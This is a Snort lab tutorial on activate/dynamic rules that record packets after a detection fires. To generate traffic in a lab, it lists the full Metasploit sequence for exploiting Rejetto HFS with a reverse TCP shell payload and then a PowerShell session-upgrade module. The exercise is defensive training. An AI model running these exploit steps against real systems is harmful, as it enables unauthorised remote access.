We’ve already learned that using flowbits allows us to make Snort rules work as a group. In this lab, we are going to look at different, and a more narrowly focused way to write rules that each serve their purpose but are working together. We are talking about the activate/dynamic rules. These rules are helpful when we need to record activities that occur after a certain event takes place. The activate rule, as the name suggests, activates the second rule in the pair: the dynamic rule, which, when activated, starts collecting and logging packets that can be reviewed later. So, activate rules work like the alert rules but have an extra function, and dynamic rules work like log rules, but they are activated not by an event, but by the corresponding activate rule.

Activate rules have only one required option field: activates. We can easily turn one of our rules into an activate rule. Let’s say we want to record the activities of an attacker who exploits the system with the Rejetto HFS exploit. On your Ubuntu Server VM, open a new terminal shell and open the local.rules file in a text editor as root.

sudo gedit /etc/snort/rules/local.rules

Find our “Rejetto HFS Exploit Attempt” rule (should be rule sid:1000014) and modify it as follows:

activate tcp any any -> any any (msg:”Rejetto HFS Exploit Attempt”; content:”%TEMP%”; flowbits:set,payload; sid:1000014; rev:1; activates:1;)

Note that we left the flowbits options unchanged: they will still work and won’t interfere with what we are trying to accomplish with our activate/dynamic rules. Next, add the following rule as a new line:

dynamic tcp $HOME_NET any -> any any (activated_by:1; count:100; sid:1000018;)

Dynamic rules have two required option fields: activated_by (which is the corresponding activate rule), and count, which specifies the number of packets to record upon activation.

Save the file and start Snort in the IDS mode (we will turn the “quiet” mode back on for this lab because we are not as interested in the console output).

sudo snort –A console –q –c /etc/snort/snort.conf –i eth0

Now go to your Kali Linux VM, open a terminal shell and perform the Rejetto HFS exploit as we did in Lab 1, Exercise 2. Below is the full sequence of commands:

msfconsole

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (Kali Linux VM IP address)

set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP address)

set RPORT 8081

exploit

Wait until you get a command shell. Note the session ID number.

Some attackers may try to “upgrade” regular command shell to a Meterpreter shell, which has more advanced capabilities. One of the ways to do this is using PowerShell via a special exploit. To use PowerShell upgrade module, we first need to send the current command shell session to the background. Press Ctrl+Z and enter y for “yes” to do that. You will be returned to the exploit prompt.

Now let’s load the PowerShell upgrade module.

use exploit/windows/local/powershell_cmd_upgrade

The only option we need to configure is the session ID we want to use. Enter the following command (x being the session ID number you noted earlier):

set session x

Enter exploit. It probably will not work; you will just be brought back to the prompt, at which point type in exit –y to close Metasploit and return to the regular prompt. We don’t need for the exploit to be successful for our purposes. Go back to your Ubuntu Server and stop Snort (hit Ctrl+C). You can see that our “Rejetto HFS Exploit Attempt” rule generated an alert (remember that we changed it from “alert” to “activate”).

Now let’s see if our dynamic rule worked. Enter sudo wireshark to open Wireshark as root. When it opens, go to File->Open and browse to the /var/log/snort directory. Select the most recent file on the list and click Open.

Ethical Hacking Training – Resources (InfoSec)

Start hitting the down arrow and looking at the packet data. First, you will see some familiar actions performed by the Rejetto exploit. But then, a bit further down, you should see something like the image below.

We can clearly see an attempt to launch PowerShell recorded by our dynamic rule. This is how dynamic rules can be used to investigate events after they occur. We can now use this information to, again, develop new attack signature to improve Snort’s detection capabilities further.